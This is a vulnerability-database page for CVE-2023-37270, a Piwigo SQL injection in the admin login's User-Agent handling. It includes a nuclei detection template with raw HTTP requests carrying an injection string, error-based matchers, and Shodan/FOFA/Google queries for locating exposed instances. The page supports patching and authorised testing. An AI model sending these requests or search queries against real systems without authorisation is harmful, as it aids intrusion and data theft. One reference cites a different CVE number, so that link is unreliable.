HexBrain

Browse / CVEs / CVE-2023-37270

CVE-2023-37270· piwigo / piwigo· CWE-89

Piwigo 13.7.0 - SQL Injection

highseverity
8.8CVSS score
4.5%likelihood of exploitation, next 30 days
92%of all CVEs are less likely
Readycheck to confirm it

Piwigo is open source photo gallery software. Prior to version 13.8.0, there is a SQL Injection vulnerability in the login of the administrator screen. The SQL statement that acquires the HTTP Header `User-Agent` is vulnerable at the endpoint that records user information when logging in to the administrator screen. It is possible to execute arbitrary SQL statements. Someone who wants to exploit the vulnerability must be log in to the administrator screen, even with low privileges. Any SQL statement can be executed. Doing so may leak information from the database. Version 13.8.0 contains a fix for this issue. As another mitigation, those who want to execute a SQL statement verbatim with user-enterable parameters should be sure to escape the parameter contents appropriately.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage.

Fix

Upgrade to a patched version of Piwigo or apply the necessary security patches provided by the vendor.

How to confirm it

Send: POST /identification.php ; GET /admin.php?page=user_activity
Positive when: contains in body_2 "Warning: [mysql error" and "INSERT INTO" and "SQL syntax;" AND status 200

Run it with nuclei: nuclei -id CVE-2023-37270 -u <target>

The full check
id: CVE-2023-37270

info:
  name: Piwigo 13.7.0 - SQL Injection
  author: ritikchaddha
  severity: high
  description: |
    Piwigo is open source photo gallery software. Prior to version 13.8.0, there is a SQL Injection vulnerability in the login of the administrator screen. The SQL statement that acquires the HTTP Header `User-Agent` is vulnerable at the endpoint that records user information when logging in to the administrator screen. It is possible to execute arbitrary SQL statements. Someone who wants to exploit the vulnerability must be log in to the administrator screen, even with low privileges. Any SQL statement can be executed. Doing so may leak information from the database. Version 13.8.0 contains a fix for this issue. As another mitigation, those who want to execute a SQL statement verbatim with user-enterable parameters should be sure to escape the parameter contents appropriately.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage.
  remediation: |
    Upgrade to a patched version of Piwigo or apply the necessary security patches provided by the vendor.
  reference:
    - https://github.com/Piwigo/Piwigo/security/advisories/GHSA-934w-qj9p-3qcx
    - https://nvd.nist.gov/vuln/detail/CVE-2023-27524
    - https://github.com/Piwigo/Piwigo/blob/c01ec38bc43f09424a8d404719c35f963d63cf00/include/dblayer/functions_mysqli.inc.php#L491
    - https://github.com/Piwigo/Piwigo/blob/c01ec38bc43f09424a8d404719c35f963d63cf00/include/functions.inc.php#L621
    - https://github.com/Piwigo/Piwigo/commit/978425527d6c113887f845d75cf982bbb62d761a
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2023-37270
    cwe-id: CWE-89
    epss-score: 0.045
    epss-percentile: 0.91577
    cpe: cpe:2.3:a:piwigo:piwigo:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: piwigo
    product: piwigo
    shodan-query: http.favicon.hash:540706145
    fofa-query:
      - icon_hash=540706145
      - title="piwigo"
    google-query: powered by piwigo
  tags: cve2023,cve,piwigo,sqli,authenticated,vuln

http:
  - raw:
      - |
        POST /identification.php HTTP/1.1
        Host: {{Hostname}}
        User-Agent: '">{{7*7}}${2*2}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}&login=
      - |
        GET /admin.php?page=user_activity HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - 'Warning: [mysql error'
          - 'INSERT  INTO'
          - 'SQL syntax;'
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from